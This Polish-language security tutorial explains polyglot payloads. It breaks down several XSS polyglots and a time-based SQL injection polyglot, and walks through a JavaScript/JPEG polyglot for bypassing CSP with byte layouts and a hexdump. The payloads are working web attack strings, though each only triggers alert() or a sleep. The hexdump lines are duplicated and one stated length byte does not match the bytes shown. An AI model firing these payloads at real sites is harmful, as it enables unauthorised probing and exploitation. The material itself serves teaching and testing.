Aby pokryć wszystkie możliwe scenariusze podatności (na przykład) XSS znanymi paylodami, trzeba by było poświęcić dni jeśli nie tygodnie pracy. Świadczy o tym chociażby wielkość potencjalnych wektorów ataków udostępnionych przez firmę PortSwigger. Polygloty są czymś w rodzaju „uniwersalnego” payloadu składającego się z kilku innych. Należy pamiętać jednak, że polygloty są często nieskuteczne w pracy z systemami wykorzystujące WAF. Dzieje się tak dlatego, że system z odpowiednio przygotowanymi sygnaturami nie dopuści naszego żądania do docelowego miejsca.
Analiza polyglotów
Aby lepiej zrozumieć budowę polyglotów, przeanalizujmy jeden z nich.
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e
Na początek rozbijmy polyglot na części pierwsze.
jaVasCript:
– etykieta w ECMAScript; w przeciwnym razie schemat URI./*-/*`/*\`/*'/*"/**/
– komentarz wielowierszowy w ECMAScript; sekwencja łamania literałów.(/* */oNcliCk=alert() )
– strefa wykonywania zawinięta w nawiasy wywołujące,//%0D%0A%0d%0a//
– jednowierszowy komentarz w ECMAScript; podwójny CRLF w nagłówkach odpowiedzi HTTP,</stYle/</titLe/</teXtarEa/</scRipt/--!>
– sekwencja łamiąca znaczniki HTML,\x3csVg/<sVg/oNloAd=alert()//>\x3e
– element svg.
Kilka innych ciekawych przykładów polyglotów znajduje się poniżej.
javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html \" onmouseover=/*<svg/*/onload=alert()//>
javascript:"/*'//`//\"//</template/</title/</textarea/</style/</noscript/</noembed/</script/--><script>/<i<frame */ onload=alert()//</script>
javascript:alert()//'/*`/*"/**/;alert()//%0D%0A-->'>"></title></textarea></style></noscript></noembed></template></select><svg/oNloAd=alert()><FRAME onload=alert()></script>\";alert()//<svg/oNloAd=alert()>
Polygloty SQLi (SQL injection)
Podobnie jak w przypadku kodu Javascript, możemy utworzyć polygloty z użyciem języka zapytań SQLL. Jako przykład może posłużyć kod zaproponowany przez badacza bezpieczeństwa Mathiasa Karlssona.
SLEEP(1) /*’ or SLEEP(1) or’” or SLEEP(1) or “*/
Polygloty Javascript/JPEG
Do tej pory analizowaliśmy polygloty XSS oraz związane z językiem zapytań SQL. Możliwe jest jednak utworzenie polyglotów bezpośrednio związanych z jednocześnie językiem Javascript jak i formatem JPEG. Docelowo miałoby to pomóc ominąć Content Security Policy na stronach wykorzystujących zdjęcia przesłane przez użytkownika. Wyzwanie utworzenia takiego polyglotu podjął się badacz Gareth Heyes, a cały proces opisuje on w udostępnionym artykule.
W skrócie utworzenie polyglotu polegało na skonstruowaniu pliku, który byłby zarówno poprawnym plikiem JPEG jak i Javascript. Możliwe to jest ponieważ oba z formatów nie wykluczają się nawzajem.
Pierwszym krokiem do utworzenia uniwersalnego pliku było ustawienie dwóch pierwszych bajtów jako zmienną Javascript (0xFF 0xD8 0xFF 0xE0
). Dwa kolejne bajty nagłówka (0x2F 0x2A
) określają jego długość. Później znajduje się wielowierszowy komentarz Javascript wraz z zerami dopełniającymi 0x2F2A
.
FF D8 FF E0 2F 2A 4A 46 49 46 00 01 01 01 00 48 00 48 00 00 00 00 00 00 00 00 00 00....
Komentarz JPEG zaczynamy dwoma bajtami (0xFF 0xFE
) oraz określamy jego długość (0x99 0x1C
). Kolejne linie kodu to komentarz Javascript wraz z payloadem (*/=alert("Burp rocks.")/*
).
FF FE 00 1C 2A 2F 3D 61 6C 65 72 74 28 22 42 75 72 70 20 72 6F 63 6B 73 2E 22 29 3B 2F 2A
Następnie musimy zamknąć komentarz JavaScript. W opisanym przypadku zostały edytowane cztery ostatnie bajty obrazu. Oto jak wygląda koniec pliku:
2A 2F 2F 2F FF D9
W zrozumieniu powyższej logiki może pomóc nam wyjście standardowe polecenia file
oraz hd -C
.
──$ file xss.jpg
xss.jpg: JPEG image data, JFIF standard 1.01, resolution (DPI), density 72x72, segment length 12074, comment: "*/=alert("Burp rocks.");/*", baseline, precision 8, 450x68, components 3
──$ hd -C xss.jpg
00000000 ff d8 ff e0 2f 2a 4a 46 49 46 00 01 01 01 00 48 |..../*JFIF.....H|
00000000 ff d8 ff e0 2f 2a 4a 46 49 46 00 01 01 01 00 48 |..../*JFIF.....H|
00000010 00 48 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |.H..............|
00000010 00 48 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |.H..............|
00000020 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
00000020 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
*
00002f20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff fe |................|
00002f20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff fe |................|
00002f30 00 1c 2a 2f 3d 61 6c 65 72 74 28 22 42 75 72 70 |..*/=alert("Burp|
00002f30 00 1c 2a 2f 3d 61 6c 65 72 74 28 22 42 75 72 70 |..*/=alert("Burp|
00002f40 20 72 6f 63 6b 73 2e 22 29 3b 2f 2a ff db 00 43 | rocks.");/*...C|
00002f40 20 72 6f 63 6b 73 2e 22 29 3b 2f 2a ff db 00 43 | rocks.");/*...C|
00002f50 00 03 02 02 03 02 02 03 03 03 03 04 03 03 04 05 |................|
00002f50 00 03 02 02 03 02 02 03 03 03 03 04 03 03 04 05 |................|
00002f60 08 05 05 04 04 05 0a 07 07 06 08 0c 0a 0c 0c 0b |................|
00002f60 08 05 05 04 04 05 0a 07 07 06 08 0c 0a 0c 0c 0b |................|
Polyglot innerht
Polyglot innerht jest stroną na której użytkownicy mogą zgłaszać swoje własne polygloty. Część z nich przetrzymuje nawet 20 kontekstów.
Źródła
https://web.archive.org/web/20190617111911/https://polyglot.innerht.ml/
https://github.com/0xsobky/HackVault/wiki/Unleashing-an-Ultimate-XSS-Polyglot
https://portswigger.net/research/bypassing-csp-using-polyglot-jpegs
https://dev.to/caffiendkitten/xss-javascript-polyglots-4i64
https://www.slideshare.net/MathiasKarlsson2/polyglot-payloads-in-practice-by-avlidienbrunn-at-hackpra